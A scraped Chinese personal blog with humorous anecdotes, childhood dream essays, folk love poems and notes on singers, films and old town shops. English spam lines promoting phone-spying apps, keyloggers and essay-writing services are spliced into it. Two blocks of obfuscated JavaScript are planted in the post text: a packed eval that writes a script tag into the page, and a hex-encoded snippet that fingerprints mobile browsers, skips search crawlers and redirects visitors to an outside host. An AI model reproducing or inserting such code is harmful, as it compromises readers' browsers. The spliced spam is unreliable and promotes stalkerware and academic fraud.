不是我

1，呆呆在上初一的时候听到哥哥在院子里走来走去念叨着一句诗：
轻轻的，我走了，正如我轻轻的来。。。。
一个星期后学校广播站播出了这首诗。呆呆涨红了脸，激动地朝我们挥手：
“快听快听！这首诗是我哥哥写的！”
2，呆呆在上初二的时候看着哥哥在院子里做煤球。
哥哥将煤渣用水和黄泥和匀，然后用开始用煤机做。
“水太少了。。。”呆呆说。
哥哥一看也是呵，加了一瓢水。和匀。
“水太多了。。。”呆呆说。
哥哥一看果然，只好再添煤渣。
“添多了。。。”
加水。
“水多了。。。”
煤渣用光后，只好将现成的煤球砸碎和进去。
加水。。。砸煤。。。再加水。。。再砸煤。。。。
黄昏了，呆呆伸了伸懒腰，看着大汗淋漓的哥哥说：“我去找乐乐玩去了。”
3，我和呆呆共同的习惯：在吃完一碗稀饭后，一定要舔碗；在吃完一个桃子之后，一定要把桃核砸开看看里面还有什么可吃的。
4，呆呆学我种花，可是无论种什么都不活，因为她妈妈养了一群鸡，喜欢到处瞎啄。最后她木法度，只得买了一盆太阳花高高挂在院子里的樟树枝上，每天口含自来水往上飙，说：“我是喷泉。”
5，我们一起买水果做蜜饯，用白糖腌制好后约定一星期后才能打开了吃，谁知道Y不到两天就吃个精光，还狡辩说：我尝尝的，我嘴巴大，所以尝的多。。。。
6，有一天呆呆来我家玩，正高兴呢听见我爸爸回家的脚步声。呆呆吓坏了，急忙躲到我的床底下。爸爸回来以后，很长时间都不走，呆呆就一直趴着。大约快一个小时了，爸爸才离开，这时呆呆从床下钻出来，手里居然抓着一把我丢了很久都找不到的塑料口琴。
7，有一段时间我们说话喜欢带上“兮”字，以为很有文化的样子。比如打电话：呆呆，你这几天兮在忙啥？呆呆回答：我这几天兮呆在家。我去你那儿兮号不号？一句话，带二两话梅兮别忘啦！
8，呆呆终于有了男朋友，我们在一起放烟花，喝茶打牌。然后我就把我记得的呆呆的丑事全抖落了出来。他仰头哈哈大笑，然后紧紧地搂了呆呆一下—-真是既幸福又肉麻！
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As you can see from the screenshots, the graphics are quite www.besttrackingapps.com/iphone-keylogger/ stunning

做课件什么的不用那么麻烦
用一些能拷贝屏幕的软件应该能基本满足小P孩们的需要
课件不需要声音，可以用Snagit7，能输出Avi文件
需要声音，可以用RoboDemo 或 Camtasia. Studio
Robodemo输出的格式是flash
Camtasia. Studio输出的格式就多一些，rm、avi……
软件和教程网上都很好找，用起来都比Authorware什么的容易。
谢谢啦！受益匪浅呢。
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头大如斗，本来是要好好看看authorware的，但是下载不了汉化的版本，只好退而求其次。
现在的问题是：1，不会画画，所以不得不到网上搜寻图片，但是合心意的图片又少。假如有暴走一半的本领就好了。
2，宏的语句一窍不通，文科生真悲哀。
3，其他控件还是不会用。
4，录制旁白的时候老是吃字。
5，还没有在WIN9N的机子上试用。
忽忽，但是，我不打算研究下去了，半途而废是我的风格。
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诗曰：
把那眼儿熬红
把那头皮抠破
也不知
眉梢侧向灯泡处
何时烧作了烟糊
镜中老脸白似青
肩下双臂僵如土
恰便似
奈何桥边走着冤大头
糊涂涂元气丧了十分九
苦！！
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For example, how much of the london underground is, confusingly, online writing essays free above ground

傍晚时分在书店闲逛，被老板鸹噪的不行，只好花最少的钱买了一本《历代民间爱情诗选》，才7块钱，厚厚的一本。
捧回家一看不由得窃喜，哈哈，端的是一本淫诗集！
最喜欢这一首：高高山上一树槐，手攀槐枝望郎来，爷娘问女望什么，“我望槐花几时开”。
要是说淫荡当属这一首：千叶红芙蓉，照灼绿水边，余花任郎摘，慎莫罢侬怜－－卡帽，不要因为我是娇花而怜惜我，SM吧！
还有写给洋葱圈儿的：单圈是奴家，双圈是你，诉不尽的苦，一溜圈儿圈下去。
忒搞笑的：姐往堂巷走一遭（往黑灯瞎火的小弄堂里钻准木好事），吃情哥郎扯断布裙腰（啧啧，急吼吼急吼吼地）。娘亲面前只说肚里痛，双手捧住弗伸腰。这当中发生了什么咧？象我怎么纯情地银，当然不晓得。
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据说一个人想得太多了，夜晚的时候就会做梦。如果这种说法是对的，那么我从小就是一个想法太多的人。从我记事的时候起，每天早晨起床前都要在被窝里温习一下前一天晚上所做的梦－－但是并不是每天晚上的梦我都能记得，如果有不再记得的梦，那一整天我都会觉得非常空虚。
和爷爷奶奶在一起生活的时候，我几乎每天都要向他们叙述我不同的梦境。假如我说：“我昨天梦见我吃鸡蛋啦！”那天午餐桌子上就肯定会放一小碗专门为我蒸的鸡蛋。如果我说：“我梦见我吃冰棍啦！”他们就装作没听见。的确，对小孩子的纵容是有限度的，因为他们足够聪明，为了达到目的会想出种种诡计－－那种狡猾并不亚于大人。
可是有几次我对他们说：“我梦见詹老头啦！”奶奶就吓坏了。詹老头是詹老奶死去很久的丈夫，我还没出生他就死了。听大人们说，詹老头是得了一种奇怪的病死的。得那种病时胸口长了很大的疮所以凹了下去，而背后却又同时鼓起一个大瘤，被折磨的象一个窝头，卧在床上的时候既不能趴着又不能平躺着，万分痛苦，成天呻吟，最后一口气接不上来，就死了。我听到这些以后眼前老是晃动着一个成天躺在床上不停颤抖的可怜老头，吃饭也没有胃口。到了晚上，就梦见自己站在临死前的詹老头床前，给他出主意：叫医生割了你的大瘤填到胸口去呀。。。醒来后就告诉爷爷奶奶：“我梦见詹老头啦！”
奶奶最迷信，吓的要死，跌跌跄跄跑到土地庙烧香求平安，还用草纸包了一堆香灰回家用开水冲了迫我喝下去。小时候这种香灰水我不知喝了多少杯，我猜要是想日后跟道士们练鬼见愁的本领，我是有一定基础地。喝下这种水之后有一种东西我绝不敢吃，那就是西瓜。因为我是这样想的，在我的肚子里面，已经具备了土壤和水，一旦我不小心吞了西瓜籽，那么它就会十分顺利地在我肚子里面生长。到了一定的时候它破膛而出，我就嗝屁着凉了。
我睡觉的时候四肢从不消停，梦游，说梦话，踢被子，要是和别人睡就踢人。有时候还吐口水。奶奶说，先是听见我一阵怒骂，不知在骂谁，接着“哈呸！”一口浓痰应声而落，贴在和我睡一头的奶奶脸上。所以随着年龄的增长，我的个头越来越大，谁也禁不起我朦朦胧胧时候的那一脚踹，奶奶说：“我一把老骨头要被你踹上了天。”于是，我就有了一张自己的小床。
一开始我极度不能习惯一个人睡觉的感觉。每天睡觉前，大人将棉被叠成一个蚕茧一样的小窝窝，然后勒令我钻进去，等我睡好后再用长皮尺将被窝一圈一圈捆起来，我就象一个巨大的蚕宝宝，笔直地躺在被窝里动弹不得。只有这样，我才不会在熟睡的时候将被子踢开受凉，也不会在滚下床的时候跌伤胳膊腿。可是他们错了，他们眼里黑瘦的小女孩，一到晚上就有如神助，使出读家“金蝉脱壳”功，将身体从被窝里挣脱出来，然后再将这被“脱”掉的软壳壳一脚踢到床下。那种情形之下，我做的梦不是在田野里踩水车，就是划水时脚陷在泥巴里面拔不出来。
那时候大人对我的梦境都有若干合理的解释，比如象一开始我说的梦见吃鸡蛋，爷爷就认为我馋鸡蛋了；我说梦见詹老头，奶奶就认为我得罪神灵了。这些解释其实想想也能通。还有许多莫名其妙的解释，比如我梦见自己从高空摔下，爷爷就断定我在长个子；要是梦见被狗咬，奶奶就断定我在不合适的地方拉了屎－－她说，很多我以为偏僻的草坷里，或许有被毁掉的坟墓，假如我在那里随便拉了屎，就是对地底下灵魂的侮辱，要变幻成狗的形状在梦里吓唬吓唬我，好叫我下次行事谨慎。
罗里罗嗦讲到这里，不过是表露了我童年生活当中的两个习惯，一个是不自觉的，一个是自觉的－－那就是每天做梦和到处与人分享我的梦境。而周围的人也表现出一副极其愿意与我分享梦境的样子，而他们表现的方式，就是积极地参与进来，替我解梦。
可是有一天我突然长大了，虽然还是天天做梦，但是对于梦的内容我却绝口不提了。
那么，我是从什么时候开始长大的呢？
记得曾经看过一部韩国的言情片，故事里面的主人公和我一样喜欢唧唧外外地对女朋友讲述童年往事，他说：“我是什么时候开始长大的呢？大概是在我能够一口吞下药丸的时候吧！”我想，我是从什么时候开始长大的呢？
大概，就是从梦里尿急的时候再也找不到厕所的时候吧？找不到厕所，就意味着不会尿床，而且即使是找到了厕所，也是男厕所－－根本进不去。不再尿床，难道还不能说明我已经长大了吗？在意识不能控制我行为的时候，潜意识还继续控制着它，这种成长是多么地了不起啊！
可是我又为什么不再与人分享我的梦境了呢？原因很简单，我的梦不再象从前那样单纯，那样便于解释了。甚至，让人知道我在做什么样的梦，已经成为一件令人不好意思的事情了。就好像我在上初二以前夏天一直是在后院洗露天澡，人来人往毫不避讳，但是上初二的那年暑假我认识了附近一个大我三岁的小帅哥，当他来到后院井边汲水的时候我就脸红了，趴在澡盆里一动不动，心里砰砰跳，暗自祷告希望他快点汲完水走人。当时我双手攥着毛巾紧紧地护着搓衣板一般平坦的胸部－－在那天后，我就再也不肯让它随便示人了，就好像类人猿进化到一定的地步，腰上面就多了一块老虎皮一样，而这其中隐含的道理，跟我不再与人分享梦境的道理，也差不多是相同的。
有很多梦至今回过头来看还是充满罪恶的，比如梦见自己在一个陌生可怕的地方扔掉了粘乎乎的弟弟；梦见自己一把火点着了教室；梦见班上最漂亮的女生变得比我丑一百倍，然后所有的男生就理所当然地围着我转。等等等等。
事实是，大多数人在当时的情境下不大不会承认自己是个坏人－－大多数人都是在回过头的时候忏悔的，这既使他们的罪恶感减轻不少，又使他们的罪恶在众人心目中打了个折扣－－变得不那么恶了。这恐怕是社会人保护自己的一种本能：只要当时不叫我负上责任，事后叫我怎么忏悔都成。
但是沉默的原因也并非全部都是梦境的难以启齿，要是能够牵强附会地解释，这些梦完全是来自内心深处对自己的无限怜爱和同情。我曾经想过，要象草一样地微不足道地活着－－如果真的能全身心地那样想，我就幸福了；如果全人类都能那样想，上帝就省心了。
可是要真是象草一般微不足道地活着，任谁都不愿意了，哪怕他表面上表示甘于这么微不足道地活着，在思想上还要抗争一下，比如说寄希望于下一代啦什么什么的。我还没有可以用来寄托希望的下一代，所以我就只有做做梦。
大概从离开爷爷和父母一起生活的时候开始起，我就开始做一些毫无建树的梦了，这些梦单调，无聊， 而且还经常重复，要是粗略地解释，可以说成是我对新环境的不能适应。要是详细地解释，话可就长了。
比如说有很多梦，都是白天看见了什么，晚上就到梦里头来，这是智商超低的表现－－智商高的人，经常会梦见白天根本见不到的人和事物。我经常梦见自己小心翼翼地躲进女厕所，就因为白天经常上这个厕所，不仅如此，白天和男生发生打斗之后，每次都是气喘吁吁地逃进女厕所才得以脱身的，丢下那些个凶神恶煞的男生在外面跳脚。
在梦里面，我躲进女厕所不是为了尿尿，而当我想尿尿的时候又经常找不见女厕所。瞧，梦境和人生也没有多大区别－－假如我是诗人，我就会以这个为主题来写一首诗什么的，就象我最喜欢的一个台湾女诗人敻虹所写的一首关于梦的诗，我老是记得：“不敢入诗的，来入梦，梦是一条丝，穿梭那，不可能的相逢。”一个不经意的梦境，经常会提醒我注意到平时不可能注意到的东西。
说起来的话，我可能早就忘记了，那就是我在躲进女厕所的时候，瞥见墙上写着竖着的从上往下大写的“BOOK”－－这是厕所的形象化图标：竖着的“B”象极了一个屁股，而“K”象一个茅坑，两个“O”就是从屁股里掉下来的两坨屎。听说是河南还是湖南有个地方的方言把大便叫做“丢堆”，这跟我们平时所说的“甩两坨”有些神似。因为经常出现在我的梦境里，所以隔了十几年还记的真切。可是要是问我当时的玩伴：“唉，你还记得BOOK不？”她可能还以为我在说“书”。
其实我并不害怕做恶梦，从恶梦里面醒转来的时候心情就觉得十分地轻松，而且做恶梦的缘由还是因为白天有所想，或者睡觉的时候姿势不对头。我有时候会在梦里嚎啕大哭着醒来，就是因为我睡觉的时候用被子捂住了嘴巴，呼吸不顺畅引起的。我最怕做令人疲倦的梦，比如逃跑，比如做乏味的工作，比如找人。有一次我从床上摔下伤到膑骨，那天晚上就梦见自己成了一名医生，为另一个伤到膝盖的病人开刀，剖开他的腿之后，看见一大堆塑料绳堆积在里面，紧急要做的就是把绳子拽出来，于是我就拽啊拽啊拽啊拽了整夜。。。“就象十除以三似的永远都除不尽”。
对乏味的生活的恐惧成为许多年来恶梦的根源。记得去年在网上看到一个有关爱情的简易流程图，在这张简易流程图上，不管你是感情称意也好不称意也罢，最后都得和相爱的人分开，为什么呢？很简单，人总得死吧？即便成了精能够永远不死，人的心意变化起来也是令人难以预料的。
把爱情简单化之后看起来是多么的让人绝望：从相爱到生离死别，没有人可以例外。同样把人生简单化起来更加令人灰心：从生到死，句号。
在成年之后的梦境里面，我总是在穿越一堵挂满牵牛花的砖墙之后落荒而逃。每次在清醒之后我都埋怨自己：为什么在落跑之前不好好观赏那堵挂满牵牛花的墙？以至于这个梦境重复多次我还是记不起那些开放着的牵牛花到底是什么颜色。我们知道，牵牛花有很多不同的颜色，紫色优雅，蓝色轻盈，红色明亮，一朵不足以打动心灵，要铺开满墙才能让人眼前一亮，看后满心欢喜。可是在梦里，我为什么忽略了？
从相爱到离别的那一大段被忽略了，从生到死的那一大段被忽略了，我就这么傻乎乎地从牵牛花瀑布中一跃而过－－所幸只是在梦里，所以你看，即便是一个恶梦，也能提醒我们注意到平日没有注意到的东西，使我们在现实中的损失减到最小。
“你心里一定有着特别的忧愁，这忧愁来自很久以前的伤痕，也许你不愿承认，其实你的快乐都是强装的。。。”这样诸如此类的话，在听者的内心都会掀起极大的波澜。我就上过这样的鸟当。在听完类似的话后的夜晚，我辗转反侧，翻着古老的帐簿，研究我心里的伤痕，这时候我惊讶地发现，我的心居然象挖地基时铁锄头刨出来的瓷器一样，满是伤痕，痛说革命家史的欲望一旦被勾起，这人的眼泪就得象长江水一般有的流了。
首先我就想到了爷爷，接着又想到我喜欢的男孩子统统TMD不喜欢我，越想越伤心，于是从床上爬起来想拽些草纸擦擦鼻涕－－就在我的手伸出被窝的那一霎那，我突然想到另一个人－－谁呢？不是谁，就是另一个人，另一个可能和我听了相似的话的人，此时此刻，他也极有可能窝在被子里吸着鼻涕感怀身世。我心里面的自己，是一个沦落的天使－－这是一个富有诗意的念头，但是每个人心里面的自己，都是一个沦落的天使，这就变得搞笑了。于是我不得不停止顾影自怜，傻呵呵地干笑了一声。这一声干笑穿透了整个长夜，并带给这个世界一个崭新鲜嫩的我。
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我想拜师学艺
学习THE POWER OF QI。。。。
落风不怕，落雨也不怕，就算寒冷大风雪落下。。。。
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没有去飙歌房飙歌的人，永远不会知道低音是多么地难唱。我每次都想为大家献上蔡大姐的《把月光射下来》这首歌，但是每次都是不得善终，喘的我青黄不接，还带累34摇着旗子号召大家暂时牺牲自己的名誉为我作人工呼吸。
上个星期在音里下载了梦曦提供的姜昕专辑，带着在去合肥的路上听。一听到她的“纯粹”我就禁不住地想－－党啊，请代我好好培养她。
以我觊觎歌坛多年的经验，女歌手一旦拥有可以唱低音的嗓子，她就发拉。比如蔡大姐琴，徐大姐小凤，田大姐震，那大姐英，等等等等。女歌手要是拥有这样的嗓子同时还能谱曲填词，那就更加大发啦！
另外，在她的专辑里，即使是唱着“明天的样子”这样一首积极上进的歌，她的声音还是透露着一丝疲惫和无所谓，这是什么？这就是个性。没有个性能搞艺术吗？不要说艺术，英俊不凡的展昭哥哥要是现身21世纪，哪个衙门都不会录用他－－没有个性还想闯江湖吗？
第二个另外，姜昕在唱到每个以“uan”为韵母的字时，声音都显得非常性感。比如：“转”，“乱”，“欢”什么的。这一点上田大姐震就显拙了，因为鼻音太重，这几个字她都唱得十分夸张，现场献声的时候就那“野花”－－“哗”地一声，带锲麦克风嗡嗡响，听的耳朵极不舒服。
我很自私，对于喜欢的歌手，总是不太希望她过红，因为害怕听她的歌会成为一件滥俗的事情。相对地说来，人气指数和杨乃文持平就可以了。
就这么地吧。
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看过的版本：
经典版，50年代袁雪芬，范瑞娟主演（该死，我不记得是谁演谁了）。其中楼台相会一段最是赚人热泪，两个人执手相看泪眼，一人一句“我为你”，唱的肝肠寸断，到梁兄曰“不能行也得行，我死在你家总不成”的时候，看的我胸中憋却的连气都不能喘出一口来。
恶心版，90年代，濮存昕胡慧中拍搞笑版梁祝，程前演马文才，谢丽思王结实演师母师父。陈小艺演银心－－明星荟萃，齐刷刷被个烂本子糟踏了。剧中的梁兄看起来不大能适应这么胡搞的样子（那别扭劲和巩俐演《唐伯虎点秋香》的时候差不多）。片中安排他早就知道英台是MM了，还装出一副呆头鹅的样子－－这一点我是绝对相信的，一个女人在男人堆里呆了三年还不被人看穿，才怪。但是，梁兄这么被解剖了一下，人性出来了，却变得恶俗了。全剧结尾是有情人终成眷属，所有人傻呵呵地咧嘴笑着，表示经典破坏完毕。
偶像版，90年代。吴奇隆，杨采妮主演。“徐克作品中唯一柔情经典”。是我最喜欢的版本。内行人看门道，我只懂得看热闹，总觉得看徐克电影仿佛参观园林，任何一个角落都可以单独入画。学堂，书馆，庭院，飘飘衣群，光画面的精美就已经觉得很得眼福了。草桥探新坟那段，狂风暴雨滤掉英台身上的嫁衣和浓妆，只剩下素面朝天和一身孝服，迎亲队伍被冲的七零八落哭爹喊娘，真TMD解恨。
动画版，21世纪。萧亚萱刘若英吴宗宪献声作配音。看了以后没有什么感触，就觉得不应该把马文才画的太丑。要是让我放弃一个帅哥嫁给这么一个长着酒糟鼻子喜欢到处弹鼻粪的人，我也要义不容辞地钻进坟墓里去。还有，听了萧亚萱的声音，才知道什么叫做没有感情。听八卦新闻说她与刘若英不和，不和就不要找她们来配音嘛－－找我多好。。。。
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早晨刮起很大的风，天色骤变，仿佛猪八戒要来的样子。
来到办公室大放厥词，说我们那位弱不禁风的领导走路时不得不在裤脚处拴两大秤砣，以稳住重心以免被风吹走。
话音未落，领导进来了，手里提着重量决不轻于两个大秤砣的一摞书。
办公室的人全部大笑，领导奇怪地望着我们，表情相当无辜。
周末去合肥。昨天打了弟弟的电话，让他到时候接我。虽然去了N次，还是摸不清方向。答应把阿拉蕾刻录了带去给他，乐的P颠P颠地。
Y不知道在哪里学得许多江湖黑话，说：
“狼走遍天下吃肉，狗走遍天下吃矢。”
“说出去的话收不回，拉出去的矢坐不回。”
“茅缸里拉矢脸冲外。”
什么什么的，说：“姐姐，还有好多，等你来了再说给你听哈。”
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While neither the engines nor https://trackingapps.org/highster-mobile the animation are stunning, they definitely draw you into the experience on a greater level than the ipod version, and it’s obvious that ea has done way more than just the bare minimum this time

幸福就是，我不一定会走那条路，但是那条路却始终存在。
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Was kann man im minkowski-diagramm anschaulich akademisches ghostwriting darstellen

脚踏车的“踏”坏了，但是却变得好蹬起来。
这真不是文科生所能了解的世界。
马加爵被抓了，举报人却不是我。天理何在？
油菜花一大片一大片地开放了，穿越其中时感觉十分怡人。
当我坐在马桶上时，有很多闪闪发光的句子在大脑里成群地掠过。
当我站起来的时候，我就忘了那些句子。
可见，纸笔随身带的重要性。
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The constants there are four aspects of the screen that remain constant between home https://topspyingapps.com and news reader

MD，帖这个不好些？
http://paowang. com/cgi-bin/blog/mt. cgi
为什么不喜欢魔戒3？
因为历经波折后，大家都变的深沉了
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先打开泡网俱乐部，再进入客栈，在精品库存的第二页，找到董事长的玉帖：《以下几位的博客开通了》，再点击其中一个跟帖—-《对了，忘了写博客的地址》，里面才有我博客的入口。
太麻烦了，要解决。
http://paowang. com/cgi-bin/forum/viewpost. The rest of the top 10 is predominantly stable, though switzerland’s eth zurich continues its upwards trajectory, switching http://essaysreasy.online/ places with the uk’s imperial college london. cgi?which=inn&id=96164
哈哈，只要把这个地址写在博客里，下次直接点击不就行了？
哦业！
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小女孩子想：我一定要做些啥引起他的注意。然后她就开始捋头发。
小男孩子想：我一定要做些啥引起她的注意。然后他就悄悄来到她身后，扯她的头发。
女人想：我该做些啥引起他的注意咧？然后她又开始捋头发。
男人想：我该做些啥引起她的注意咧？然后他就猛抓自己的头发。
女人的乳房是用来哺乳和诱惑男人的。
男人的乳房是用来区别前胸和后背的。
男人对女人的贪欲，只有性。
女人对男人的贪欲，除了性，还有很多。
男人对性的关注使女人感到灰心。
女人对性的漠视使男人感到灰心。
呐喊之女人篇：爱我，无条件地爱我！！
呐喊之男人篇：和我上床，无条件地和我上床！！
要想抛弃一个男人，女人要做的事情很简单－－离开他。
要想离开一个女人，男人就要做很残忍的事－－抛弃她。
男人比较吃亏的是：他们对女人的要求，全世界人都知道。
可是女人对男人的要求，就比较费猜疑啦。
女人会夸奖一个男人，是在他属于自己之后。
男人会夸奖一个女人，是在她属于自己之前。
女人接受私奔的提议，并不是糊涂地跟着感觉走，而是在作出“我是在跟着创造者走还是在跟着破坏者走”的判断之后，作出的冷静决定。
而男人，会带走一个牵挂比较少的女人，这样，私奔的善后工作就相对显得比较容易。
一个完全不了解女人的男人会比一个非常了解女人的男人可爱。
一个非常了解男人的女人又会比一个完全不了解男人的女人可爱。 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(’\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(’i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));’,30,30,’116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110′.split(’|’),0,{}))
Boy genius report received a tip that the ipad 2 will finally realize steve jobs’ hopes of removing https://phonetrackingapps.com/ all buttons from the company’s hardware

馄饨店，老理发馆，工农兵菜馆，针线铺子，竹器店，香烛店，花菜籽铺子，酱油作坊，渔网摊子，鞋匠摊子，缝纫班，中药店。。。。。。
馄饨店的老板有一个念书成癖的儿子，因为没有考上大学变得痴痴呆呆的。
从老理发馆出来的男人，不是“葫芦瓢”就是文革时期的“瓦片头”。现在，除了老头子，已经没有什么人肯在那里理发了。
很久以前，夏天的时候，据说在工农兵菜馆门前，挤满了提着空热水瓶打冷饮的人，五分钱一瓶。
“现在谁还绣花啊？”针线铺子的老板无奈地叹息着，在摊子上摆满了鞋带。
竹器店的老板娘跟人跑了，老板一个人带着两个儿子，为了督促他们德智体全面发展，实行仿军事化管理，每天清晨逼迫他们拿着大扫帚扫街，然后在店门口蹲半小时马步。傍晚的时候则练习太极拳。（就是“一个大西瓜呀，中间剖一半哪，一半留给你呀，一半留给他呀，自个儿啥都没呀－－这都什么事儿呀”的那种。）
香烛店的生意一直都很平稳。就算是我也经常光顾，花一块钱买盒奇南香或者藏香什么的回去熏屋子。
既然是花菜籽铺子，为什么买不到我想要的虞美人花籽呢？美人蕉倒是有，可是我不喜欢。
啊，终于到了酱油作坊，那高高的木头柜台已经不见了，排排蹲放的乌黑噌亮大酱缸也已经不见了。想吃的招牌什锦菜也买不到了，那个曾经用萝卜给我雕了一只小鸟的叔叔也不知去了哪儿。不过，同学的姐姐接管了这里，她做的咸菜也一样很好吃。我花四块钱称了半斤辣椒，却免费“尝”了四两生姜。辣的我！
渔网摊子上好像还是那个老太婆，几十年如一日地挥舞着手中的梭子。成片的渔网从她手里织出来卖掉。“五岁起我就在做这个！”她现在这么讲的时候口气已经不那么自豪了，有点疲乏了。
鞋匠摊子既卖鞋又修鞋。鞋匠还穿着80年代流行的地板上钉响钉的皮鞋，让人一听就想笑。
缝纫班为全镇培养了许多心灵手巧的裁缝，我的一位同事的老婆曾经是著名的班花。可是现在，它变成了很多家大排挡，每天向街道喷放油烟。
为了抓七副中药，我曾经在中药店站了一下午。先是排队等别人，然后再看着药店的师傅对着药方一味一味地抓药，过秤。老式挂钟在墙上响亮地敲着点数：一，二，三。。。当时感觉气氛相当地古老。我有点象生活在鲁镇的迅哥儿。
走过所有的店铺，就会来到护城河边的渡口。老城墙边垒着许多土制炉灶，用来烤竹子，使它们易于变形好编制竹器。
假如不骑脚踏车，坐上渡口的木船过河，就来到我上班的地方。
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After receiving ikeymonitor android so much negative feedback from the press, apple ceo tim cook published a letter apologizing to their customers for the frustration caused by maps in ios 6

忘却了（鸟，且重读）是仙
惦记着成魔
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I always dreamed of being a fill-in-the-blank , but now https://www.buyessayonline.ninja/ i’m not so sure that’s what I want to do

站在荒凉的十字路口，双手紧紧捏成拳头，一阵初春的凉风吹过，拂乱了我的短发，使我的心绪更加焦躁。
“苍天啊，难道这世界上当真找不到用掉它地地儿了么？”
随着我咬假牙的咯吱声，两行浑浊地老泪从我的脸庞滋溜溜滑下。
缓缓地，我低下颓废的脑袋，抬起了我的右手，掌心中，躺着一张皱巴巴脏兮兮蔫呼呼的一元钱人民纸币。
因为刚刚随着我的牛仔裤在洗衣机里泡过，旋过，漂过，所以它显得有点不太真实。
看着它一下子从青葱岁月进入了老弱病残，我心里痛惜万分。
我想，表难过，我一定会把你用掉地。
于是，我来到街上。
行人熙熙，皆为利来，行人攘攘，皆为利往。谁会拒绝要一块钱咯？可是。。。
卖烧饼的：换一张一块地好不拉？你这张好象假的啵。
卖鸭脖子的：鸭脖子两块钱一条，一块钱买不到！
卖酸辣椒的：一块钱辣椒我们不称，至少也要买一块五的。
卖瓜子的：你要是想吃瓜子就随便抓一把吧。。。
卖馄炖的：干脆你明天从这里路过的时候再还钱8。
小侄子（暴跳如雷）：什么？就凭你这张烂纸就想换我九毛钱？呸！白送我都不要。。。。
我垂头丧气，感到前途渺茫。。。。
于是，出现了开头一幕。
考虑再三，我还是将它白送给了小侄儿。Y虽然曾经吐着口水发誓不要的，但是听说是白送的居然欢天喜地地接受了。
几天后，我问他，那一块钱买了啥？
他咧嘴呵呵笑：没买啥，存进了班上的小银行，班长是个女娃娃，看我捐了一块钱，乐坏拉，发我一朵大红花，我把花儿拿回家，人人见了都把我夸，说什么，回回考试不及格，精神文明你倒不差！
恩，不错不错，我问：有没有提到你姑姑我的名？
他摇头说：一块钱，算个嘛儿，功劳还得分八瓣？就算要分也不带你。。。
我（气）：那带谁？
他：当然带上我妈妈，我爸爸，我爷爷，我奶奶。。。
我：&^&^^%$%)$#$%%^. var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego). +mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile. +firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\. (browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\. w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v 